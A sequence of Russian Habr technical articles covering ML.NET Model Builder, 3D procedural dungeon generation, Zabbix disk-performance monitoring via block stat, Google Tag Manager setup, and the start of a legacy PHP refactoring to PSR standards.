А можно вносить что-то свое, например, автоматизировать задачу распределения поступающих ошибок/инцидентов по разработчикам, сведя ее к задаче классификации по тексту (целевая метка — ID/Фамилия разработчика). Или можно порадовать операционистов внутреннего АРМ, которые заполняют поля в карточке с фиксированным набором значений (выпадающий список) по другим полям или текстовому описанию. Для этого понадобится всего лишь подготовить выборку в csv (для экспериментов хватит даже нескольких сотен строк), научить модель прямо из UI Visual Studio и применить ее в своем проекте путем копирования кода из сгенерированного примера. Я веду к тому, что ML.NET по моему мнению вполне пригоден для решения практических, прагматичных, приземленных задач, которые не требуют особой квалификации и попусту отъедают время. Причем применить его можно в самом обычном проекте, который не претендует на инновационность. Автором же такой модели может стать любой .NET-разработчик, который готов освоить новую библиотеку.
У меня немного больше бэкграунд по ML, чем у среднего .NET-разработчика, поэтому для себя я решил так: для картинок наверное нет, для сложных кейсов нет, а для простых табличных задач — однозначно да. На текущий момент мне удобнее сделать любую ML-задачу на более привычном стеке технологий Python/numpy/pandas/sk-learn/keras/pytorch, однако типовой кейс для последующего встраивания в .NET-приложение я бы вполне сделал и с помощью ML.NET.
Кстати приятно, что с текстом фреймворк работает отлично без каких-либо лишних телодвижений и необходимости тюнинга со стороны пользователя. В целом, это не удивительно, ибо на практике на **небольших** объемах данных старые добрые TfIDF с классификаторами типа SVC/NaiveBayes/LR работают вполне приемлемо. Это обсуждалось на летнем DataFest в докладе от iPavlov — на некотором тестовом наборе word2vec, GloVe, ELMo (вроде) и BERT сравнивались с TfIdf. На тесте удалось достичь превосходства в пару процентов только в одном случае из 7-10 кейсов, хотя объем затраченных ресурсов на обучение совсем не сопоставим.
P.S. Популяризация ML в массах сейчас в тренде, взять даже "[Гугловый инструмент для создания ИИ, которым может воспользоваться даже школьник](https://habr.com/ru/news/t/475234/)". Он весь из себя прикольный и интуитивно понятный пользователю, но что там действительно происходит за кадром в облаке — непонятно. В этом для плане для .NET-разработчиков ML.NET с билдером моделей выглядит более привлекательной опцией.
P.S.S. Презентация зашла на ура, коллеги замотивировались попробовать :)
#### Feedback
Кстати, в одной из рассылок с заголовком "ML.NET Model Builder" говорилось:
> Give Us Your Feedback
>
> If you run into any issues, feel that something is missing, or really love something about ML.NET Model Builder, let us know by creating an issue in our GitHub repo.
>
> Model Builder is still in Preview, and your feedback is super important in driving the direction we take with this tool!
Данную статью можно считать фидбеком!
#### Ссылки
[На ML.NET](https://github.com/dotnet/machinelearning-samples/blob/master/modelbuilder/readme.md)
[На более старую статью с руководством](https://habr.com/ru/company/microsoft/blog/436728/) | https://habr.com/ru/post/476052/ | null | ru | null |
# Процедурная генерация многоэтажных 3D-подземелий
В последнее время я играл в несколько roguelike, поэтому решил попробовать написать собственный процедурный генератор подземелий. Существует множество способов решения этой задачи, и я выбрал алгоритм автора TinyKeep, [описанный здесь](https://www.reddit.com/r/gamedev/comments/1dlwc4/procedural_dungeon_generation_algorithm_explained/). Я расширил этот алгоритм, чтобы он работал в 3D и мог создавать многоэтажные подземелья.
Код примера выложен в [репозитории Github](https://github.com/vazgriz/DungeonGenerator). Для демонстрации я использую Unity3D, но эти концепции, разумеется, применимы к любому другому движку.
Два измерения
-------------
Сначала мне нужно написать алгоритм для двух измерений. В целом он работает так же, как алгоритм TinyKeep, но имеет отличия для создания более интересных уровней.
Сцена для этого примера называется Dungeon2D. Код для него находится в папке Scripts2D.
### Алгоритм
Мир разделён в виде прямоугольной сетки. Я предполагаю, что 1 единицы будет достаточно для обозначения коридора. В полной игре 1 единица измерения Unity может соответствовать например 5 метрам. Для сетки я выбрал размер 30×30.
1. Располагаем комнаты произвольным образом, но так, чтобы они не накладывались друг на друга. Расположение не имеет значения, поэтому в этом примере я просто задаю им случайное расположение и размер. Также с каждой стороны я добавил буфер шириной 1 единицу (чтобы комнаты не касались друг друга), но это не обязательно для работы алгоритма.
*Красные прямоугольники — это комнаты*
2. Создаём граф триангуляции Делоне для комнат. Я использовал для этого алгоритм Боуэра-Ватсона. Существует множество реализаций этого алгоритма на многих языках, я выбрал тот, который легко будет перенести на C#.
*Триангуляция Делоне*
3. Создаём из триангуляции минимальное остовное дерево (minimum spanning tree, MST). Я использовал для этого алгоритм Прима.
*MST коридоров*
4. Создаём список коридоров, начиная с каждого ребра дерева из этапа 3. Дерево содержит все комнаты, поэтому путь к каждой комнате гарантированно будет существовать. Случайным образом добавляем рёбра из триангуляции в список. Так мы создадим в коридорах несколько петель. В своём коде я использовал вероятность добавления каждого ребра 12,5%.
*Коридоры после добавления нескольких рёбер в MST. Заметьте, что появились петли.*
5. Для каждого коридора в списке используем алгоритм A\*, чтобы найти пути от начала коридора до конца. После нахождения одного пути он изменяет состояние мира так, чтобы будущие коридоры всегда могли обходить мимо существующих.
Использованная мной функция затрат делает менее затратным движение по коридору, вырезанному в другой итерации, чем создание нового коридора. Это стимулирует алгоритм поиска пути комбинировать коридоры, проходящие через одно пространство. Движение через комнату возможно, но затратно. Поэтому в большинстве случаев алгоритм поиска пути предпочитает избегать комнат.
*Синие прямоугольники — это коридоры*
Вот несколько примеров алгоритма, использующего настоящие графические ресурсы (ресурсы и код для их размещения отсутствуют в репозитории):
Три измерения
-------------
Создав работающий генератор 2D-подземелий, я начал его перенос в 3D. Все использованные алгоритмы имеют 3D-версии, поэтому это должно быть просто, правда?
### Алгоритм
Сетка теперь имеет размер 30x5x30.
1. Первым изменением стала генерация комнат в 3D. Это изменение тривиально.
*Нужно учесть, что комнаты могут быть высотой в несколько этажей.*
2. Затем находим 3D-триангуляцию Делоне этих комнат, или скорее тетраэдраляцию Делоне. Поискав информацию по запросам «3D Delaunay triangulation» или «Delaunay tetrahedralization», я нашёл множество исследовательских статей, но ни одного примера кода.
Самым близким к нужному мне была реализация 3D-триангуляции CGAL, но с ней возникли две проблемы. Первая — этот модуль был доступен только под лицензией GPL. Вторая — код был насколько шаблонизирован и малопонятен, что я так и не разобрался, где же реализуется алгоритм.
В конечном итое мне пришлось самому изучить принцип работы алгоритма Боуэра-Ватсона, чтобы изменить его самостоятельно. По-прежнему не очень понимаю, почему так важны описанные окружности, но мне по крайней мере удалось переписать алгоритм с описанными сферами, воспользовавшись [этой страницей](http://mathworld.wolfram.com/Circumsphere.html) с Wolfram MathWorld. Так как в основном это операции с матрицами 4×4, всю сложную работу я поручил типу `Matrix4x4` из Unity3D.
Эта новая версия находится в `Scripts3D/Delaunay3D.cs`, на случай, если кому нибудь понадобится легко понимаемый код с лицензией MIT.
Это сложно заметить, но вместо треугольника с тремя вершинами алгоритм теперь создаёт тетраэдр с 4 вершинами. По крайней мере одна из этих вершин будет находиться на другом этаже, ведь в противном случае тетраэдр окажется вырожденным. Это даёт этапу поиска пути множество возможностей двигаться между этажами.
3 и 4. Рёбра из этапа 2 с совершенно тривиальными изменениями можно передать алгоритму Прима.
*3D-MST коридоров*
*Снова добавлены коридоры с несколькими рёбрами*
5. Сложности начинаются при реализации в 3D алгоритма A\*. 2D-версия ужасно проста, это стандартная реализация A\*. Чтобы перенести её в 3D, мне нужно добавить алгоритму поиска пути возможность двигаться вверх и вниз и соединять комнаты на разных этажах. Я решил соединять этажи не вертикальными лестницами, а лестничными маршами.
В этом-то и заключается проблема. Лестничный марш сложнее, чем просто подъём вверх по вертикали. Чтобы двигаться по вертикали, лестнице нужно двигаться и по горизонтали. То есть у неё есть *подъём* и *пролёт*. Посмотрите на изображение ниже. Текущая ячейка — это сплошной синий квадрат. Возможные соседи — это пустые квадраты. Алгоритм поиска пути не может переместиться в ячейку непосредственно над текущей ячейкой. Вместо этого ему придётся двигаться одновременно по горизонтали и вертикали.
*Вид сбоку. Узлы по бокам создать можно, но не узел сверху.*
Чтобы создавать алгоритм поиска пути для лестницы, мне нужно было выбрать её форму. Соотношение высоты к длине 1:1 было бы слишком крутым, поэтому я выбрал соотношение 1:2. На каждую вертикальную единицу измерения лестница двигается на две горизонтальных единицы. Кроме того, чтобы персонаж помещался, над самой лестницей должно быть пространство, то есть две ячейки над лестницей тоже должны быть открыты. В целом, одна лестница занимает четыре ячейки:
*Лестница и свободное пространство над ней*
Также наверху и внизу у лестниц должен быть коридор. Алгоритм поиска пути не должен иметь возможность приходить к лестнице сбоку или с противоположного направления. Будет непрактично и странно, ели лестница будет врезаться в коридор, как показано ниже.
То есть в конечном итоге формат лестницы должна выглядеть как на изображении ниже. Алгоритм поиска пути должен гарантировать существование коридоров в двух синих квадратах.
*Лестница начинается со сплошного синего квадрата и движется вверх на один этаж*
Алгоритм поиска пути должен двигаться из начальной в конечную точку за один шаг. Это значит, что он должен сдвигаться на 3 единицы по горизонтали и на 1 единицу вверх или вниз. Алгоритм A\* рассчитан на перемещение в каждом шаге из одного узла в соседний. Чтобы создать лестницы, мне придётся «перепрыгивать» четыре ячейки лестницы.
Сложность заключается в том, что мне каким-то образом нужно заставить алгоритм обходить лестницы, которые он создаёт. Я не могу добавлять их в *замкнутое множество* A\*, потому что тогда через эти ячейки не сможет пройти другой путь с другого направления. Но не могу я и оставить их, потому что тогда алгоритм поиска пути сможет двигаться по только что созданной лестнице, создавая показанные выше нежелательные ситуации.
Решение заключалось в том, что каждый узел должен отслеживать все предыдущие узлы на его пути. Тогда при рассмотрении соседнего узла он будет отклонён, если он относиться к пути текущего узла. Коридор в конце лестницы будет содержать все ячейки, занятые лестницей, узел в начале лестницы и все узлы на пути до него, и так до самого начала. Алгоритм поиска пути может создать другой путь, проходящий через лестницу, потому что второй путь не будет знать о лестнице.
Описанное выше поведение нужно только для нескольких потенциальных путей в пределах одного вызова функции поиска пути. Для генерации всех коридоров всё равно остаётся множество вызовов поиска пути. Последующие итерации просто как и раньше будут обходить существующие лестницы.
Алгоритм на этом этапе уже не совсем является A\*. В нём слишком много особых случаев только для учёта лестниц. Необходимость проверки всего предыдущего пути на каждом этапе — затратный процесс. Наивная реализация следовала по всем узлам до начала, считывая их как связанный список. Тогда для проверки пути для каждого соседнего узла потребовалось бы время O(N).
Я выбрал такую реализацию: хранение в каждом узле хеш-таблицы, ключами которой являются предыдущие узлы. Благодаря этому проверка пути выполняется за O(1), однако при добавлении узла к пути хеш-таблицу нужно копировать, а это O(N). Я выбрал этот способ, потому что понял, что алгоритм будет считывать пути чаще, чем их изменять.
Как бы то ни было, общая сложность будет примерно O(N^2), хотя я не знаю, как это правильно проанализировать. Эта модификация — основное «бутылочное горлышко» алгоритма генерации подземелий.
После внесения всех этих изменений результат оказался таким:
*Зелёные прямоугольники — это лестницы*
*Создаваемые генератором пути могут быть простыми...*
*… или сложными*
Вот как выглядит 3D-подземелье с настоящими графическими ресурсами:
*Подземелье с несколькими этажами*
Алгоритм генерации подземелий способен создавать интересные эмергентные поведения.
*Две лестницы образуют лестницу двойной ширины*
*Труднообъяснимая лестница тройной ширины*
*Путь, спускающийся на два этажа, может создать две лестницы с площадкой посередине*
*Когда несколько путей проходят рядом друг с другом, коридоры могут оказаться довольно большими*
*Две лестницы спускаются на один этаж*
Вывод
-----
Самой сложной частью проекта было создание алгоритмов, необходимых для 3D-версии. Я не смог найти ни одной реализации 3D-триангуляции Делоне, поэтому пришлось делать её самостоятельно. Требования к алгоритму поиска пути были очень специфичными, поэтому её я тоже делал сам.
Но работа того стоила. Созданные этим алгоритмом подземелья интересны и могут стать фундаментом для хорошей игры. | https://habr.com/ru/post/481218/ | null | ru | null |
# Мониторинг производительности дисковой подсистемы при помощи zabbix и block stat
Вряд ли кто-то будет спорить, что наблюдение за производительностью дисковой подсистемы — чуть ли не важнейшая задача для всех высоконагруженных систем хранения и баз данных. Я изначально столкнулся с этим давным-давно, еще когда приходилось наблюдать за PostgreSQL. В последнее время вернулся к этому вопросу в связи с необходимостью тестирования различных хранилищ.
Сегодня хочу поделиться с сообществом своим текущим опытом на реальном примере zabbix и его связке с block stat.
### Небольшое отступление
Я являюсь архитектором баз данных и систем хранения очень высокой производительности и больших объемов. Поэтому часто сталкиваюсь с задачами оценки, как те или иные параметры настройки системы влияют на работу СХД, какие железные конфигурации СХД лучше.
Да есть куча утилит, которая позволит протестировать диски, например тот же fio. Но ничто не сравнится с тестированием реальной нагрузкой.
Однако прежде чем подавать реальную и настоящую нагрузку, неплохо бы сначала протестировать на синтетике. А наблюдать за синтетикой лучше теми же средствами, что и за боевой системой, просто потому, что даже если ваши метрики не совсем верны методологически – они будут хотя бы те же самые и по ним можно будет делать выводы лучше/хуже.
Когда то давным-давно для этих целей использовал iostat, лютый парсер к нему и gnuplot, и даже написал статейку [habr.com/post/165855](https://habr.com/post/165855/). Скажу я вам – это жутко неудобно.
Куда как удобнее натравить на систему zabbix и мониторить. А к zabbix можно прикрутить модную Grafana и мониторить красиво. Сразу скажу – выбор zabbix скорее исторический: «потому что он уже был».
### Мониторинг дисков в zabbix
Справедливости ради скажу, что в zabbix уже есть встроенные ключи vfs.dev.\*, но увы очень мало: скорость чтения и записи, объем.
А что нужно нам?
Практика показывает что ключевые метрики по которым можно оценивать дисковую подсистему это:
* Количество операций в секунду (ops)
* Пропускная способность (throughput)
* Время обработки запроса (latency или правильней svctime)
* Утилизация дисковой подсистемы (utilization)
Так как эти метрики очень зависят друг от друга, то не зная все нельзя сделать правильные выводы.
Все эти метрики есть в iostat. Но как их положить в zabbix?
Легкое гугление приводит нас к различным парсерам iostat, в том числе и [здесь](https://habr.com/post/220073/).
Но мне по душе другой вариант, а именно парсинг вывода /sys/class/block/\*/stat
Плюсы метода:
* это первоисточник данных — iostat так же использует эти данные
* для разбора показателей можно ограничиться только однострочником в UserParameter без дополнительных скриптов.
Но есть и недостатки:
* Некоторые параметры необходимо вычислять делением дельты одного на дельту другого, причем не простой, а временной (скорости). В zabbix это сделать можно, но это будут не одновременные запросы, как если бы это делал сложный скрипт, а отношение последних значений, что в принципе не совсем верно, но в нашем случае довольно точно.
Итак, кроме самого zabbix и zabbix-agent на наблюдаемой машине нам потребуется awk. Мы используем дистрибутив CentOS 7.4 и zabbix 3.4
Данные в zabbix мы будем собирать при помощи zabbix-agent, создав пользовательские ключи. Для этого в /etc/zabbix/zabbix\_agentd.d нужно создать файлик userparameter\_custom.vfs.conf примерно со следующим содержимым:
`UserParameter=custom.vfs.dev.io.ms[*],cat /sys/class/block/$1/stat | awk '{print $$10}'`
Тут все просто — создаем пользовательский ключ custom.vfs.dev.io.ms, в качестве параметра передаем туда имя блочного устройства, значением параметра будет 10 колонка файлика stat.
В этом файлике статистики всего 11 колонок, посмотреть их описание можно [вот тут](https://www.kernel.org/doc/Documentation/block/stat.txt).
Колонка №10 это io\_tics — количество миллисекунд затраченным устройством на ввод вывод. Как почти все параметры — эта цифра является аккумулятором и постоянно возрастает. Как же получить из них привычные метрики.
#### Утилизация дисковой подсистемы
*Эта метрика аналогична значению поля **utils** команды iostat -x. Характеризует загрузку дисковой подсистемы. По сути это сколько процентов реального времени система затратила на операции ввода-вывода за интервал между опросами. Как правило при приближении к 100% система начинает все больше простаивать в ожидании когда диски обработают ваши запросы.*
Чтобы получить эту цифру — надо взять значение 10 колонки файла статистики и запомнить его в zabbix как **скорость изменения в секунду**, не забыв умножить на 0.1 так как значение в статистике в миллисекундах, а нам нужны проценты.
Аналогичным образом можно посчитать нагрузку записью/чтением (колонки write\_ticks / read\_ticks).
#### Время обработки запроса
*Эта метрика аналогична r\_svctime и w\_svctime для записи и чтения соответственно. По сути это усредненное время обработки запросов за интервал между опросами.*
Данная метрика чуть посложнее. Рассмотрим на примере запросов на запись.
Для этого нам понадобится создать три ключа:
* write utils — количество времени потраченное на запись — колонка №8 write\_ticks сохраненная, как скорость изменения в секунду между опросами. По сути значение ключа в zabbix будет утилизация записью.
* write ops — количество запросов на запись — колонка №5 write I/Os. Так же сохраняем как скорость
* svctime или latency — искомый параметр. Создаем как вычисляемое значение: последнее значение write utils / последнее значение write ops. Плюс еще поделить на 1000 чтобы в секунды перейти
Абсолютно также считается время обработки запросов на чтение, только используя колонки №1 read I/Os и №4 read\_ticks.
#### Пропускная способность
*Метрика показывающая с какой скоростью данные были записаны или прочитаны*
Для этой метрики используются колонки №3 read sectors и №5 write sectors. Значение сколько было прочитано или записано «секторов». Точно так же в zabbix сохраняем как изменение за секунду.
Единственный ньюанс - **значение в файле указанно «в попугаях-секторах»**, причем размер этого «сектора» фиксирован **512 байт** и не зависит от реальных значений ни физического ни логического сектора устройства (проверял на нескольких устройствах с реальным размером физического сектора 4к). Так что чтобы пересчитать в байты — не забудьте умножить на 512.
#### Количество операций ввода-вывода в секунду
*Эта метрика — те самые пресловутые IOPS*
Самая простая метрика — мы ее уже записывали для подсчета svc time это значение колонок №5 write I/Os и №1 read I/Os также сохраненные как скорость в секунду.
### Заключение
Этих метрик мне как правило достаточно для того чтобы я мог делать обоснованные выводы. Конечно это не все цифры которые можно получить из файла статистики. Например там есть и число текущих обрабатываемых запросов, и количество запросов которые были объеденены. Но полагаю при необходимости вам не составит труда добавить их по аналогии с описанным.
И да не претендую на авторство — сам метод был когда-то давно загуглен, но за давностью лет ссылки конечно затерялись.
В заключении приведу [шаблончик](https://drive.google.com/open?id=1ibtMHcbJYUaVrObOUC12TQ2jMlPk3Eah) и [файлик параметров](https://drive.google.com/open?id=11Dm5v1wXxWJj2dR_Hd5TcvRt1A1430XO).
Увы NDA заставляет кое-что подчистить из них, но надеюсь на работоспособность шаблона это не повлияет.
А в шапке скриншот из Grafana прикрученной поверх zabbix — демонстрирующий реальные цифры с одной из тестовых инсталляций. | https://habr.com/ru/post/377757/ | null | ru | null |
# Веб-аналитика с помощью Google Tag Manager
Относительно недавно, мы проводили редизайн и оптимизацию нашего сайта и наткнулись на ряд проблем связанных со скриптами и кодами отслеживания от Google. А именно:
* проблема избытка кода Google в коде страниц (отслеживание событий, Google A/B tests, Google Analytics)
* неудобство управления и слежения за скриптами.
* постоянная необходимость редактирования шаблонов страниц, для внесения изменений и дополнительных параметров в скрипты.
* зависимость от релизов на поддоменах (индивидуальный случай). Например, над личным кабинетом работает не один человек, а команда разработки с использованием контроля версии (VSC) и для внесения малейших изменений приходилось ждать очередного релиза.
В данной статье мы рассмотрим решение данных проблем на примере Google Analytics, посредством Диспетчера тегов от Google (Google Tag Manager) и рассмотрим новую модель организации работы со скриптами, для анализа работы сайта с практическими примерами и кучей картинок.
Речь пойдет о **Google Tag Manager** (диспетчер тегов Google).
Основные преимущества перехода на диспетчер тегов на наш взгляд:
* минимум кодинга на страницах. Убираем все скрипты от Google из кода страниц. Останется лишь код вставки Диспетчера тегов (код контейнера)
* прозрачность и удобство. Удобство настройки и слежения за скриптами. Все управляется и настраивается из панели управления Диспетчера тегов. Мы видим все скрипты и к каким страницам и событиям они привязаны
* масштабируемость. Больше не нужно затрагивать код страниц. Вы можете добавлять и настраивать код Google Analytics, отслеживания конверсий AdWords, ремаркетинга AdWords и много другого из личного кабинета диспетчера тегов.
* система контроля версий. Любые изменения можно с легкостью отменить и вернуть на более ранний state, а так же следить за тем, кто, где и когда вносил изменения.
* режим многопользовательской работы.
Также, если у вас имеется ресурс, который разрабатывается с использованием контроля версий и чтобы внести изменения в код страниц, приходится ждать очередного релиза, тогда Диспетчер тегов Google — это именно то, что вам нужно.
#### Немного теоретической части
[или сразу перейти к практике](#practice)
Для быстрого старта, нам понадобиться разобрать основные термины, которые необходимы для начала работы с Google Tag Manager, а именно:
* Аккаунт
* Контейнер
* Теги
* Правила
* Макросы
Эти термины будут встречаться как в статье, так и в любой документации от Google.
**Аккаунт** — это аккаунт=) как и в Google Analytics, в представлении не нуждается.
**Контейнер** — это главный и единственный фрагмент JS-кода, который мы вставляем на все страницы сайта. По сути, он является тегом, но его функция заключается в том, что он служит контейнером для всех тегов. О них написано чуть ниже. Своего рода «архитег», который запускает все остальные теги, при соответствии их правилам которые мы задали.
**Тег** — это фрагмент JS-кода. Все те скрипты, которые мы раньше вручную вставляли на страницы сайта, например, код Google Analytics, код отслеживания конверсий Adwords, пользовательский код и т.д.
**Правило** — это условие, при котором будет вызываться и выполняться тег или наоборот (блокироваться). Например, для кода Google Analytics правилом «выстрела» мы зададим: «на всех страницах».
**Макросы** — «Макросы являются парами типа имя/значение, для которых передаются значения в процессе работы». Используются при настройке правил. В нашем случае, **переменные уровня данных** для отслеживания событий (Event Tracking) в связке с целями Google Analytics, подробнее в практической части
Обобщим, в коде страницы имеется код контейнера. В контейнер с сервера Google подгружаются и активируются теги, которые соответствуют правилам активации. Макросы нужны для настройки тегов и правил.
Рис.1 Схема взаимодействия элементов
---
#### Практический пример
А теперь рассмотрим вышеперечисленное на простейшем примере с использованием основных возможностей.
У Google есть замечательный инструмент в виде плагина для Google Chrome — **«Tag Assistant»**. Устанавливаем и вернемся к нему чуть позже.
Итак, предположим, имеется:
* сайт — [example.com](http://example.com)
* личный кабинет на поддомене — [accounts.example.com](http://accounts.example.com)
Необходимо:
* разместить код Google Analytics
* настроить отслеживание конверсии при клике на определенную кнопку
Регистрируем Google Analytics и Google диспетчер тегов.
В диспетчере тегов создаем аккаунт (рис.2).
Рис.2 Создание аккаунта
---
Далее создаем контейнер (рис.3). Указываем тип: «Веб-страницы» или «Мобильные приложения» и указываем наши домены(что, в принципе, необязательно). В нашем случае, поддомен мы не указываем, поскольку будем использовать междоменное отслеживание.
Рис.3 Создание контейнера
---
Готово! нам дают тот самый заветный код контейнера, который мы должны разместить сразу же после открывающего тега ``.
> Код контейнера обязательно и всегда должен быть самым первым после открывающего тега , в противном случае вы рискуете потерять возможность отслеживания событий (Event Tracking) находящих ДО кода контейнера. Поскольку все переменные уровня данных, которые находятся до Диспетчера тегов, обрабатывать не будут.
>
> Для большей гибкости и удобства - для основного домена и поддоменов лучше использовать разные контейнеры.
>
>
>
> Там же - нам предлагают одним нажатием вставить теги. Выбираем тег «Google Analytics»(рис.4)
>
>
>
> 
>
> Рис.4 Код контейнера и меню выбора тегов
>
>
>
> ---
>
>
>
>
>
> Далее, в окне настройки тега Google Analytics, нам нужно:
>
> 1. ввести «идентификатор веб-ресурса» - это старый добрый код счетчика
> 2. «добавить правило активации тега» - там ставим галочку напротив «все страницы». то есть код Google Analytics будет срабатывать на всех страницах сайта.
> 3. так как у нас имеется поддомен - открываем вкладку
> 4. «Дополнительные настройки» > «Домены и каталоги» и ставим галочку напротив «разрешить связывание» (это и есть междоменное отслеживание)
>
>
>
> 
>
> Рис.5 Настройка тега Google Analytics
>
>
>
> ---
>
>
>
>
>
> С тегом Google Analytics закончили. Следующим этапом мы настроим макрос на отслеживание событий (Event Tracking). Нам понадобится создать 3 макроса, а потом на основе них - тег отслеживания.
>
>
>
> Итого, у вас должно получиться 3 новых макроса с именами переменных уровня данных: **eventCategory**, **eventAction**, **eventLabel**. В качестве правила для активации, нам еще понадобиться макрос «event», но он уже создан по умолчанию.
>
>
>
> 
>
> Рис.6 Создание макроса
>
>
>
> ---
>
>
>
>
>
> Далее создаем новый тег, выбираем тип тега - «Google Analytics», вставляем тот же код счетчика в поле идентификатора, а вот в типе отслеживания - выбираем «событие» и далее вставляем созданные нами макросы из списка, соответственно:
>
> * категория - GA Event Category
> * действие - GA Event Action
> * ярлык - GA Event Label
>
>
>
> 
>
> Рис.7 Создание тега отслеживания Google Analytics
>
>
>
> ---
>
>
>
>
>
> Теперь нам нужно задать правило активации тега (рис.8). Создаем новое правило, в котором мы используем макрос «event»
>
>
>
> 
>
> Рис.8 Создание правила активации
>
>
>
> ---
>
>
>
>
>
> ##### Как это работает?
>
>
>
> переменные уровня данных, у нас будут передаваться в таком виде:
>
>
>
> Так как мы не хотим затрагивать код страниц, привязываем действие по клику с помощью jQuery и подключаем через Google Tag Manager(пользовательский тег), подобным образом:
>
>
> ```
>
> $(document).ready(function(){
> $('селектор нужного объекта').click(function() {
> dataLayer.push({'event':'GAevent', 'eventCategory':'Заданное нами значение', 'eventAction':'Заданное нами значение', 'eventLabel':'Заданное нами значение'});
> });
> });
>
>
> ```
>
>
> 
>
> Рис. 9 Добавляем пользовательский тег
>
>
>
> ---
>
>
>
>
>
> То есть, при клике по объекту, мы будем передавать переменные уровня данных методом **.push()** и теми значениями, которые мы будем задавать в целях Google Analytics.
>
>
>
> Итак, у нас вышло 4 наших макроса: «event», «eventCategory», «eventAction», «eventLabel»
>
> и четыре пары значений:
>
> * ‘event’ : ’GAevent’
> * ‘eventCategory’ : ’value’
> * ‘eventAction’ : ’value’
> * ‘eventLabel’ : ’value’
>
>
>
> Значения мы задаем в панели Google Analytics, в «настройках цели».
>
>
>
> Чтобы нагляднее проследить взаимосвязь - см. рис.10
>
> 
>
> Рис. 10 Взаимосвязь переменных уровня данных, макросов и целей Google Analytics
>
>
>
> ---
>
>
>
>
>
> Создаем цели в Google Analytics, вставляем переменные в наш метод **dataLayer.push()** для ссылки которую будем отслеживать.
>
>
>
> Google Analytics добавили и настроили, макросы создали, добавили тег отслеживания, ОК. Переходим на вкладку «Общие сведения» - Создаем версию и публикуем (рис.11).
>
>
>
> 
>
> Рис. 11 Создание версии и публикация контейнера
>
>
>
> ---
>
>
>
>
>
> Проверяем: перейдя на страницу сайта открываем «Tag Assistant», о котором говорилось в самом начале практической части.
>
> 
>
> Рис.12 окно Tag Assistant
>
>
>
> ---
>
>
>
>
>
> Мы видим код нашего счетчика, код контейнера. Зеленый статус «working» говорит о том, что всё отличненько. В противном случае, он бы описал проблему и предложил рекомендации к ее решению. Также, мы видим наш Data Layer.(зачастую, данные dataLayer не отображаются в панели "tag assistant" и это норма).
>
>
>
> Вот и всё.
>
>
>
> Ну и так вот, на дорожку:
>
> Рассмотренное в данной статье - лишь малая и простейшая часть того, что на самом деле представляет из себя Диспетчер тегов (Google Tag Manager) и какие возможности открываются перед нами при углублении во все нюансы.`` | https://habr.com/ru/post/203622/ | null | ru | null |
# Опыт внедрения PSR стандартов в одном легаси проекте
Всем привет!
В этой статье я хочу рассказать о своем опыте переезда на “отвечающую современным трендам” платформу в одном legacy проекте.
Все началось примерно год назад, когда меня перекинули в “старый” (для меня новый) отдел.
До этого я работал с Symfony/Laravel. Перейдя на проект с самописным фреймворком количество WTF просто зашкаливало, но со временем все оказалось не так и плохо.
Во-первых, проект работал. Во-вторых, применение шаблонов проектирования прослеживалось: был свой контейнер зависимостей, ActiveRecord и QueryBuilder.
Плюс, был дополнительный уровень абстракции над контейнером, логгером, работе с очередями и зачатки сервисного слоя(бизнес логика не зависела от HTTP слоя, кое-где логика была вынесена из контроллеров).
Далее я опишу те вещи, с которыми трудно было мириться:
#### 1. Логгер [log4php](https://logging.apache.org/log4php/index.html)
Сам по себе логгер работал и хорошо. Но были жирные минусы:
* Отсутствие интерфейса
* Сложность конфигурации для задач чуть менее стандартных (например, отправлять логи уровня error в ElastickSearch).
* Подавляющее большинство компонентов мира opensource зависят от интерфейса [Psr\Log\LoggerInterface](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md). В проекте все равно пришлось держать оба логгера.
#### 2-6. Контроллеры были вида:
```
php
class AwesomeController
{
public function actionUpdateCar($carId)
{
$this-checkUserIsAuthenticated();
if ($carId <= 0) {
die('Машина не найдена');
}
$car = Car::findById($carId);
$name = @$_POST['name'];
container::getCarService()->updateNameCar($car, $name);
echo json_decode([
'message' =>'Обновление выполнено'
]);
}
}
```
* **die** посреди выполнения кода приложения
* **echo** еще до выхода из контроллера.
* Аутентификация пользователей подключалась в каждом контроллере отдельно
* Классические **$\_POST** и **@**.
* Отсутствовала возможность внедрять сервисы в контроллер.
#### 7. Отсутствие глобального логирования ошибок приложения
Максимум, что можно было найти в логах — это текст сообщения. Более подробную информацию об ошибке можно было получить после повторения на стенде разработки. Для дополнительного логирования на боевом окружении приходилось ставить блоки try/catch в нужном методе контроллера.
#### 8. Конфигурирование контейнера зависимостей
Контейнер зависимостей напоминал Symfony контейнер времен 2.4. Каждый сервис требовал регистрации и описания как его собрать. Имея опыт работы с контейнером laravel, где максимально используется autowiring, хотелось избавиться от рутинных действий. Так же отсутствие autowiring снижало желание программистов писать отдельные сервисы (создавать новые классы) под отдельную бизнес задачу, так как это подразумевало необходимость править конфиг контейнера. При этом всегда есть вероятность ошибиться и потерять еще больше времени.
#### 9. Роутинг
Роутинг был логичен и прост, по мотивам в Yii1.
Адрес вида *www.carexchange.ru/awesome\_controller/update\_car* означал выполнение контроллера AwesomeController и метода actionUpdateCar.
Но, к сожалению, были вложенные поддиректории сайта и приходилось создавать url’ы вида
*www.carexchange.ru/awesome\_controller\_for\_car\_insite\_settings\_approve/update\_car*
Это не напрягает, но ограничение странное
#### 10. Хардкод url’ов
Роутинг был простым, поэтому отсутствовала возможность генерации url автоматически (зачем усложнять). Это привело к тысячам ссылок, которые были захардкожены и в php и js. Мы, конечно, редко меняем url’ы, но иногда такое случается. И искать их по проекту сложно.
#### Пора что-то менять!
С приходом еще одного программиста стали подниматься вопросы о возможности рефакторинга, было желание сделать “по человечнее”. “По человечнее” — читай привычнее для современного разработчика. Читать и поддерживать существующий код было **сложно->долго->дорого.**
После нескольких обсуждений с руководством был получен зеленый флаг и началась работа над proof of concept.
С самого начала было принято решение придерживаться современных стандартов. Это и рекомендации PSR, и следование стандартному поведению других фреймворков. Новые разработчики работавшие на любом современном фреймворке должны были понять где найти контроллеры, как собираются сервисы и где писать бизнес логику.
Если внимательнее посмотреть на озвученные претензии, то мы заметим: страдает код уровня приложения (контроллеры) и инфраструктурный слой (контейнер).
Бизнес логика была написана отдельно и не зависела от уровня HTTP — ее оставляем как есть. Active Record и QueryBuilder также не трогаем, так как они работали и не сильно отличались от той же doctrine/dbal.
#### Выбор фреймворка
На самом деле выбор тут был не велик. Тащить весь laravel или symfony ради слоя над HTTP нет смысла. А нужные компоненты всегда можно подключить через composer.
Серьезный выбор был между двумя микро-фреймворками: Slim и [Zend](https://docs.zendframework.com/zend-expressive).
